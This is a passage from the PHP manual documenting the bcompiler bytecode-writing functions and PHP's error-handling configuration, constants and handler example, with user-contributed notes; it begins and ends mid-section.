$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_constant($fh,"MODULE_MAX");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_class
bcompiler_write_exe_footer
bcompiler Functions


Writes the start pos, and sig to the end of a exe type file

bcompiler_write_constant
bcompiler_write_file
bcompiler Functions
PHP Manual

bcompiler_write_exe_footer

(PECL bcompiler >= 0.4)

bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file

Description

bool bcompiler_write_exe_footer ( resource $filehandle , int $startpos )

An EXE (or self executable) file consists of 3 parts:

  • The stub (executable code, e.g. a compiled C program) that loads PHP interpreter, bcompiler extension, stored Bytecodes and initiates a call for the specified function (e.g. main) or class method (e.g. main::main)
  • The Bytecodes (uncompressed only for the moment)
  • The bcompiler EXE footer

To obtain a suitable stub you can compile php_embed-based stub phpe.c located in the examples/embed directory on bcompiler's CVS.

Parameters

filehandle

A file handle as returned by fopen().

startpos

The file position at which the Bytecodes start, and can be obtained using ftell().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_exe_footer() example

<?php

/* creating the output file (example.exe) */
$fh = fopen("example.exe", "w");

/* 1) writing a stub (phpe.exe) */
$size = filesize("phpe.exe");
$fr = fopen("phpe.exe", "r");
fwrite($fh, fread($fr, $size), $size);
$startpos = ftell($fh);

/* 2) writing bytecodes */
bcompiler_write_header($fh);
bcompiler_write_class($fh, "myclass");
bcompiler_write_function($fh, "main");
bcompiler_write_footer($fh);

/* 3) writing EXE footer */
bcompiler_write_exe_footer($fh, $startpos);

/* closing the output file */
fclose($fh);
?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_class() - Writes an defined class as bytecodes
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_constant
bcompiler_write_file
bcompiler Functions


Writes a php source file as bytecodes

bcompiler_write_exe_footer
bcompiler_write_footer
bcompiler Functions
PHP Manual

bcompiler_write_file

(PECL bcompiler >= 0.6)

bcompiler_write_file — Writes a php source file as bytecodes

Description

bool bcompiler_write_file ( resource $filehandle , string $filename )

This function complies specified source file into bytecodes, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

filename

The source file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_file() example

<?php
$fh = fopen("example.phb", "w");
bcompiler_write_header($fh);
bcompiler_write_file($fh, "example.php");
bcompiler_write_footer($fh);
fclose($fh);
/* the following should be equivalent:
include "example.php";
   and
include "example.phb";
*/
?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_exe_footer
bcompiler_write_footer
bcompiler Functions


Writes the single character \x00 to indicate End of compiled data

bcompiler_write_file
bcompiler_write_function
bcompiler Functions
PHP Manual

bcompiler_write_footer

(PECL bcompiler >= 0.4)

bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data

Description

bool bcompiler_write_footer ( resource $filehandle )

Writes the single character \x00 to indicate End of compiled data.

Parameters

filehandle

A file handle as returned by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_footer() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_class($fh,"DB_common");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_file
bcompiler_write_function
bcompiler Functions


Writes an defined function as bytecodes

bcompiler_write_footer
bcompiler_write_functions_from_file
bcompiler Functions
PHP Manual

bcompiler_write_function

(PECL bcompiler >= 0.5)

bcompiler_write_function — Writes an defined function as bytecodes

Description

bool bcompiler_write_function ( resource $filehandle , string $functionName )

Reads the bytecodes from PHP for an existing function, and writes them to the open file handle. Order is not important, (eg. if function b uses function a, and you compile it like the example below, it will work perfectly OK).

Parameters

filehandle

A file handle as returned by fopen().

functionName

The function name, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_function() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_function($fh,"my_function_a");
bcompiler_write_function($fh,"my_function_b");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_footer
bcompiler_write_functions_from_file
bcompiler Functions


Writes all functions defined in a file as bytecodes

bcompiler_write_function
bcompiler_write_header
bcompiler Functions
PHP Manual

bcompiler_write_functions_from_file

(PECL bcompiler >= 0.5)

bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes

Description

bool bcompiler_write_functions_from_file ( resource $filehandle , string $fileName )

Searches for all functions declared in the given file, and writes their correspondent bytecodes to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

fileName

The file to be compiled. You must always include or require the file you intend to compile.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_functions_from_file() example

<?php
require('module.php');

$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_functions_from_file($fh,'module.php');
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_function
bcompiler_write_header
bcompiler Functions


Writes the bcompiler header

bcompiler_write_functions_from_file
bcompiler_write_included_filename
bcompiler Functions
PHP Manual

bcompiler_write_header

(PECL bcompiler >= 0.3)

bcompiler_write_header — Writes the bcompiler header

Description

bool bcompiler_write_header ( resource $filehandle [, string $write_ver ] )

Writes the header part of a bcompiler file.

Parameters

filehandle

A file handle as returned by fopen().

write_ver

Can be used to write bytecode in a previously used format, so that you can use it with older versions of bcompiler.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_header() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_functions_from_file
bcompiler_write_included_filename
bcompiler Functions


Writes an included file as bytecodes

bcompiler_write_header
Error Handling
bcompiler Functions
PHP Manual

bcompiler_write_included_filename

(PECL bcompiler >= 0.5)

bcompiler_write_included_filename — Writes an included file as bytecodes

Description

bool bcompiler_write_included_filename ( resource $filehandle , string $filename )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_header
Error Handling
bcompiler Functions


Error Handling and Logging

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Error Handling Functions
    • debug_backtrace — Generates a backtrace
    • debug_print_backtrace — Prints a backtrace
    • error_get_last — Get the last occurred error
    • error_log — Send an error message somewhere
    • error_reporting — Sets which PHP errors are reported
    • restore_error_handler — Restores the previous error handler function
    • restore_exception_handler — Restores the previously defined exception handler function
    • set_error_handler — Sets a user-defined error handler function
    • set_exception_handler — Sets a user-defined exception handler function
    • trigger_error — Generates a user-level error/warning/notice message
    • user_error — Alias of trigger_error

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_write_included_filename
Introduction
Affecting PHP's Behaviour


Introduction

These are functions dealing with error handling and logging. They allow you to define your own error handling rules, as well as modify the way the errors can be logged. This allows you to change and enhance error reporting to suit your needs.

With the logging functions, you can send messages directly to other machines, to an email (or email to pager gateway!), to system logs, etc., so you can selectively log and monitor the most important parts of your applications and websites.

The error reporting functions allow you to customize what level and kind of error feedback is given, ranging from simple notices to customized functions returned during errors.

User Contributed Notes

Hayley Watson 14-Sep-2009 01:51
For some additional information about error handling, see the error suppression operator "@" in the Operators section.
Error Handling
Installing/Configuring
Error Handling


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Error Handling


Installation

There is no installation needed to use these functions; they are part of the PHP core.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Errors and Logging Configuration Options
Name | Default | Changeable | Changelog
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL |
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_errors | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_source | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
report_memleaks | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
track_errors | "0" | PHP_INI_ALL |
html_errors | "1" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP <= 4.2.3.
xmlrpc_errors | "0" | PHP_INI_SYSTEM | Available since PHP 4.1.0.
xmlrpc_error_number | "0" | PHP_INI_ALL | Available since PHP 4.1.0.
docref_root | "" | PHP_INI_ALL | Available since PHP 4.3.0.
docref_ext | "" | PHP_INI_ALL | Available since PHP 4.3.2.
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

error_reporting integer

Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive.

In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development.

Note:

Enabling E_NOTICE during development has some benefits. For debugging purposes: NOTICE messages will warn you about possible bugs in your code. For example, use of unassigned values is warned. It is extremely useful to find typos and to save time for debugging. NOTICE messages will warn you about bad style. For example, $arr[item] is better to be written as $arr['item'] since PHP tries to treat "item" as constant. If it is not a constant, PHP assumes it is a string index for the array.

Note:

In PHP 5 a new error level E_STRICT is available. As E_STRICT is not included within E_ALL you have to explicitly enable this kind of error level. Enabling E_STRICT during development has some benefits. STRICT messages will help you to use the latest and greatest suggested method of coding, for example warn you about using deprecated functions.

Note: PHP Constants outside of PHP

Using PHP Constants outside of PHP, like in httpd.conf, will have no useful meaning so in such cases the integer values are required. And since error levels will be added over time, the maximum value (for E_ALL) will likely change. So in place of E_ALL consider using a larger value to cover all bit fields from now and well into the future, a numeric value like 2147483647 (includes all errors, not just E_ALL).

display_errors string

This determines whether errors should be printed to the screen as part of the output or if they should be hidden from the user.

Value "stderr" sends the errors to stderr instead of stdout. The value is available as of PHP 5.2.4. In earlier versions, this directive was of type boolean.

Note:

This is a feature to support your development and should never be used on production systems (e.g. systems connected to the internet).

Note:

Although display_errors may be set at runtime (with ini_set()), it won't have any affect if the script has fatal errors. This is because the desired runtime action does not get executed.

display_startup_errors boolean

Even when display_errors is on, errors that occur during PHP's startup sequence are not displayed. It's strongly recommended to keep display_startup_errors off, except for debugging.

log_errors boolean

Tells whether script error messages should be logged to the server's error log or error_log. This option is thus server-specific.

Note:

You're strongly advised to use error logging in place of error displaying on production web sites.

log_errors_max_len integer

Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg.

When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used.
ignore_repeated_errors boolean

Do not log repeated messages. Repeated errors must occur in the same file on the same line unless ignore_repeated_source is set true.

ignore_repeated_source boolean

Ignore source of message when ignoring repeated messages. When this setting is On you will not log errors with repeated messages from different files or sourcelines.

report_memleaks boolean

If this parameter is set to On (the default), this parameter will show a report of memory leaks detected by the Zend memory manager. This report will be send to stderr on Posix platforms. On Windows, it will be send to the debugger using OutputDebugString(), and can be viewed with tools like » DbgView. This parameter only has effect in a debug build, and if error_reporting includes E_WARNING in the allowed list.

track_errors boolean

If enabled, the last error message will always be present in the variable $php_errormsg.

html_errors boolean

Turn off HTML tags in error messages. The new format for HTML errors produces clickable messages that direct the user to a page describing the error or function in causing the error. These references are affected by docref_root and docref_ext.

xmlrpc_errors boolean

Turns off normal error reporting and formats errors as XML-RPC error message.

xmlrpc_error_number integer

Used as the value of the XML-RPC faultCode element.

docref_root string

The new error format contains a reference to a page describing the error or function causing the error. In case of manual pages you can download the manual in your language and set this ini directive to the URL of your local copy. If your local copy of the manual can be reached by "/manual/" you can simply use docref_root=/manual/. Additional you have to set docref_ext to match the fileextensions of your copy docref_ext=.html. It is possible to use external references. For example you can use docref_root=http://manual/en/ or docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

Most of the time you want the docref_root value to end with a slash "/". But see the second example above which does not have nor need it.

Note:

This is a feature to support your development since it makes it easy to lookup a function description. However it should never be used on production systems (e.g. systems connected to the internet).

docref_ext string

See docref_root.

Note:

The value of docref_ext must begin with a dot ".".

error_prepend_string string

String to output before an error message.

error_append_string string

String to output after an error message.

error_log string

Name of the file where script errors should be logged. The file should be writable by the web server's user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI.

User Contributed Notes

bub at nospam dot com 11-Jul-2011 02:06
Do NOT call session_start() before you call error_reporting();

<?php

// does NOT work correctly
session_start();
error_reporting(NULL);

// does work
error_reporting(NULL);
session_start();

 ?>
geompse at gmail dot com 14-Feb-2011 07:49
Note that if error_log is empty, errors/warnings/notices will be written to stderr (standard error stream), and this may be a problem if you is PHP in CLI.

<?php
# test.php
error_reporting(E_ALL);
ini_set('display_errors','On');

ini_set('error_log','my_file.log');
foreach(1 as $i);

ini_set('error_log','');
foreach(1 as $i);

ini_set('error_log','/dev/null'); #linux
foreach(1 as $i);
?>

php -f test.php
will output :
<?
Warning: Invalid argument supplied for foreach() in /test.php on line 7 # stdout
PHP Warning:  Invalid argument supplied for foreach() in /test.php on line 10 # stderr
Warning: Invalid argument supplied for foreach() in /test.php on line 10 # stdout
Warning: Invalid argument supplied for foreach() in /test.php on line 13 # stdout
?>

Errors displayed in the stdout (standard output stream) car be catched with the output buffering functions (ob_start/ob_get_clean) while strerr cannot.
plonk at xonx dot de 12-Jan-2011 11:46
When using PHP with Apache mod_fcgid and "log_errors = On", PHP errors get logged into Apache ErrorLog file with severity "warn". No matter what severity the PHP error itself has, the severity in the Apache log is "warn".
To log PHP errors in the Apache log, use:
LogLevel warn
(or debug, info, notice)
alvaro at demogracia dot com 26-Nov-2010 03:16
In the Apache directive "php_value" you cannot omit the value and empty strings are not allowed:

    #WRONG
    php_value error_log
    php_value error_log ""

In such cases, you can use "none". It is a special keyword for PHP that means "no value asigned":

    #OK: empty string
    php_value error_log none
hutchike at gmail dot com 23-Jul-2009 11:42
If you want to avoid a fatal error when an undefined method call fails, you can add a simple Exception thrower like this:
<?php
class MyClass
{
    // ...lots of your regular code, then:
    public function __call($name, $args)
    {
        throw new Exception('Undefined method ' . $name . '() called');
    }
}
?>
This means your top-level code can simple run inside a
<?php try { call_a_method(); } catch (Exception $e) { handle_exception($e); } ?>
block, and catch the errors that were fatal before.
ivanmaz at yandex dot ru 02-Apr-2009 11:44
There is a more simple and more correct solution - to use file .htaccess, where you can simply add the following lines:

php_value display_errors 1
php_value display_startup_errors 1
cjakeman at bcs dot org 17-Mar-2009 01:06
Using
<?php ini_set('display_errors', 1); ?>
at the top of your script will not catch any parse errors. A missing ")" or ";" will still lead to a blank page.

This is because the entire script is parsed before any of it is executed. If you are unable to change php.ini and set

display_errors On

then there is a possible solution suggested under error_reporting:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are always available as part of the PHP core.

Note: You may use these constant names in php.ini but not outside of PHP, like in httpd.conf, where you'd use the bitmask values instead.

Errors and Logging
Value | Constant | Description | Note
1 | E_ERROR (integer) | Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted. |
2 | E_WARNING (integer) | Run-time warnings (non-fatal errors). Execution of the script is not halted. |
4 | E_PARSE (integer) | Compile-time parse errors. Parse errors should only be generated by the parser. |
8 | E_NOTICE (integer) | Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script. |
16 | E_CORE_ERROR (integer) | Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP. |
32 | E_CORE_WARNING (integer) | Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP. |
64 | E_COMPILE_ERROR (integer) | Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine. |
128 | E_COMPILE_WARNING (integer) | Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine. |
256 | E_USER_ERROR (integer) | User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error(). |
512 | E_USER_WARNING (integer) | User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error(). |
1024 | E_USER_NOTICE (integer) | User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error(). |
2048 | E_STRICT (integer) | Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code. | Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096 | E_RECOVERABLE_ERROR (integer) | Catchable fatal error. It indicates that a probably dangerous error occured, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR. | Since PHP 5.2.0
8192 | E_DEPRECATED (integer) | Run-time notices. Enable this to receive warnings about code that will not work in future versions. | Since PHP 5.3.0
16384 | E_USER_DEPRECATED (integer) | User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error(). | Since PHP 5.3.0
32767 | E_ALL (integer) | All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0. | 32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

The above values (either numerical or symbolic) are used to build up a bitmask that specifies which errors to report. You can use the bitwise operators to combine these values or mask out certain types of errors. Note that only '|', '~', '!', '^' and '&' will be understood within php.ini.

User Contributed Notes

frozenfire at php dot net 12-Aug-2011 12:00
Please note that a bug exists in Xdebug versions up to at least 2.1.2 where E_USER_DEPRECATED is not supported even in PHP 5.3.0+.
Andy at Azurite (co uk) 16-Apr-2011 04:15
-1 is also semantically meaningless as a bit field, and only works in 2s-complement numeric representations.  On a 1s-complement system -1 would not set E_ERROR.  On a sign-magnitude system -1 would set nothing at all! (see e.g. http://en.wikipedia.org/wiki/Ones%27_complement)

If you want to set all bits, ~0 is the correct way to do it.

But setting undefined bits could result in undefined behaviour and that means *absolutely anything* could happen :-)
PhpMyCoder 15-Jul-2010 03:26
Well, technically -1 will show all errors which includes any new ones included by PHP. My guess is that E_ALL will always include new error constants so I usually prefer:

<?php
error_reporting(E_ALL | E_STRICT);
?>

Reason being: With a quick glance anyone can tell you what errors are reported. -1 might be a bit more cryptic to newer programmers.
wolfrageweb.com 01-Oct-2009 03:52
-1 sets the error reporting to show all to include strict. Should only be used for development servers.
Resource Types
Examples
Error Handling


Examples

Below we can see an example of using the error handling capabilities in PHP. We define an error handling function which logs the information into a file (using an XML format), and e-mails the developer if a critical error in the logic happens.

Example #1 Using error handling in a script

<?php
// we will do our own error handling
error_reporting(0);

// user defined error handling function
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
    // timestamp for the error entry
    $dt = date("Y-m-d H:i:s (T)");

    // define an assoc array of error string
    // in reality the only entries we should
    // consider are E_WARNING, E_NOTICE, E_USER_ERROR,
    // E_USER_WARNING and E_USER_NOTICE
    $errortype = array (
                E_ERROR              => 'Error',
                E_WARNING            => 'Warning',
                E_PARSE              => 'Parsing Error',
                E_NOTICE             => 'Notice',
                E_CORE_ERROR         => 'Core Error',
                E_CORE_WARNING       => 'Core Warning',
                E_COMPILE_ERROR      => 'Compile Error',
                E_COMPILE_WARNING    => 'Compile Warning',
                E_USER_ERROR         => 'User Error',
                E_USER_WARNING       => 'User Warning',
                E_USER_NOTICE        => 'User Notice',
                E_STRICT             => 'Runtime Notice',
                E_RECOVERABLE_ERROR  => 'Catchable Fatal Error'
                );
    // set of errors for which a var trace will be saved
    $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

    $err = "<errorentry>\n";
    $err .= "\t<datetime>" . $dt . "</datetime>\n";
    $err .= "\t<errornum>" . $errno . "</errornum>\n";
    $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
    $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
    $err .= "\t<scriptname>" . $filename . "</scriptname>\n";
    $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

    if (in_array($errno, $user_errors)) {
        $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
    }
    $err .= "</errorentry>\n\n";

    // for testing
    // echo $err;

    // save to the error log, and e-mail me if there is a critical user error
    error_log($err, 3, "/usr/local/php4/error.log");
    if ($errno == E_USER_ERROR) {
        mail("phpdev@example.com", "Critical User Error", $err);
    }
}

function distance($vect1, $vect2)
{
    if (!is_array($vect1) || !is_array($vect2)) {
        trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
        return NULL;
    }

    if (count($vect1) != count($vect2)) {
        trigger_error("Vectors need to be of the same size", E_USER_ERROR);
        return NULL;
    }

    for ($i=0; $i<count($vect1); $i++) {
        $c1 = $vect1[$i]; $c2 = $vect2[$i];
        $d = 0.0;
        if (!is_numeric($c1)) {
            trigger_error("Coordinate $i in vector 1 is not a number, using zero",
                            E_USER_WARNING);
            $c1 = 0.0;
        }
        if (!is_numeric($c2)) {
            trigger_error("Coordinate $i in vector 2 is not a number, using zero",
                            E_USER_WARNING);
            $c2 = 0.0;
        }
        $d += $c2*$c2 - $c1*$c1;
    }
    return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// undefined constant, generates a warning
$t = I_AM_NOT_DEFINED;

// define some "vectors"
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// generate a user error
$t1 = distance($c, $b) . "\n";

// generate another user error
$t2 = distance($b, "i am not an array") . "\n";

// generate a warning
$t3 = distance($a, $b) . "\n";

?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Error Handling Functions
Error Handling


Error Handling Functions

See Also

See also syslog().

Table of Contents

  • debug_backtrace — Generates a backtrace
  • debug_print_backtrace — Prints a backtrace
  • error_get_last — Get the last occurred error
  • error_log — Send an error message somewhere
  • error_reporting — Sets which PHP errors are reported
  • restore_error_handler — Restores the previous error handler function
  • restore_exception_handler — Restores the previously defined exception handler function
  • set_error_handler — Sets a user-defined error handler function
  • set_exception_handler — Sets a user-defined exception handler function
  • trigger_error — Generates a user-level error/warning/notice message
  • user_error — Alias of trigger_error

User Contributed Notes

jbq at caraldi dot com 15-Nov-2007 05:50
Precision about error_log when configured with syslog: the syslog() call is done with severity NOTICE.
Stephen 18-Jan-2007 03:29
If you are using PHP as an Apache module, your default behavior may be to write PHP error messages to Apache's error log. This is because the error_log .ini directive may be set equal to "error_log" which is also the name of Apache's error log. I think this is intentional.

However, you can separate Apache errors from PHP errors if you wish by simply setting a different value for error_log. I write mine in the /var/log folder.
petrov dot michael () gmail com 16-Jan-2007 11:11
I have found that on servers that enforce display_errors to be off it is very inconvenient to debug syntax errors since they cause fatal startup errors. I have used the following method to bypass this limitation:

The syntax error is inside the file "syntax.php", therefore I create a file "syntax.debug.php" with the following code:

<?php
error_reporting(E_ALL);
ini_set('display_errors','On');

include('syntax.php');
?>

The 5 line file is guaranteed to be free of errors, allowing PHP to execute the directives within it before including the file which previously caused fatal startup errors. Now those fatal startup errors become run time fatal errors.
mortonda at dgrmm dot net 08-Jan-2007 05:16
Note the example code listed here calls date() every time this is called.   If you have a complex source base which calls the custom error handler often, it can end up taking quite a bit of time.  I ran a profiler on som code and discovered that 50% of the time was spent in the date function in this error handler.
theotek AT nowhere DOT org 04-Aug-2006 08:40
It is totally possible to use debug_backtrace() inside an error handling function. Here, take a look:

<?php
set_error_handler('errorHandler');

function errorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
{
  echo 'Into '.__FUNCTION__.'() at line '.__LINE__.
  "\n\n---ERRNO---\n". print_r( $errno, true).
  "\n\n---ERRSTR---\n". print_r( $errstr, true).
  "\n\n---ERRFILE---\n". print_r( $errfile, true).
  "\n\n---ERRLINE---\n". print_r( $errline, true).
  "\n\n---ERRCONTEXT---\n".print_r( $errcontext, true).
  "\n\nBacktrace of errorHandler()\n".
  print_r( debug_backtrace(), true);
}

function a( )
{
  //echo "a()'s backtrace\n".print_r( debug_backtrace(), true);
  asdfasdf; // oops
}

function b()
{
  //echo "b()'s backtrace\n".print_r( debug_backtrace(), true);
  a();
}

b();
?>

Outputs:

<raw>

Into errorhandler() at line 9

---ERRNO---
8

---ERRSTR---
Use of undefined constant asdfasdf - assumed 'asdfasdf'

---ERRFILE---
/home/theotek/test-1.php

---ERRLINE---
23

---ERRCONTEXT---
Array
(
)

Backtrace of errorHandler()
Array
(
    [0] => Array
        (
            [function] => errorhandler
            [args] => Array
                (
                    [0] => 8
                    [1] => Use of undefined constant asdfasdf - assumed 'asdfasdf'
                    [2] => /home/theotek/test-1.php
                    [3] => 23
                    [4] => Array
                        (
                        )

                )

        )

    [1] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 23
            [function] => a
        )

    [2] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 30
            [function] => a
            [args] => Array
                (
                )

        )

    [3] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 33
            [function] => b
            [args] => Array
                (
                )

        )

)

</raw>

So, the first member of the backtrace's array is not really surprising, except from the missing "file" and "line" members.

The second member of the backtrace seem the be a hook inside the zend engine that is used to trigger the error.

Other members are the normal backtrace.
email_php_28429 at wg-karlsruhe dot de 20-Feb-2006 11:52
if you cannot use php 5+ and if you do not know, when your administrator/provider will update to a newer php-version, this could be interesting. otherwise it surely is not. ;-)

if you use the example above "example 1: using error handling in a script" with a php version prior to php 5, the part

<?php
$errortype = array(
  // ...
  E_STRICT          => "Runtime Notice");?>

will throw a notice like
"Use of undefined constant E_STRICT - assumed 'E_STRICT'".

of course one could avoid this problem, with

<?php
if(defined('E_STRICT')) define('E_STRICT', 2048);
?>.

but this _could_ generate problems in future versions of php, if E_STRICT is set to 42 or something else.

for this reason i suggest

<?php
$errortype = array(
  E_ERROR           => 'error',
  E_WARNING         => 'warning',
  E_PARSE           => 'parsing error',
  E_NOTICE          => 'notice',
  E_CORE_ERROR      => 'core error',
  E_CORE_WARNING    => 'core warning',
  E_COMPILE_ERROR   => 'compile error',
  E_COMPILE_WARNING => 'compile warning',
  E_USER_ERROR      => 'user error',
  E_USER_WARNING    => 'user warning',
  E_USER_NOTICE     => 'user notice');
if(defined('E_STRICT'))
  $errortype[E_STRICT] = 'runtime notice';
?>.

<?php
// and instead of
// error_reporting(E_ALL | E_STRICT);
// one can use
error_reporting(E_ALL | (defined('E_STRICT')? E_STRICT : 0));
// to avoid that notice.
?>

prosit
seth
tracerdx at tracerdx dot com 28-Nov-2005 09:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
    //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

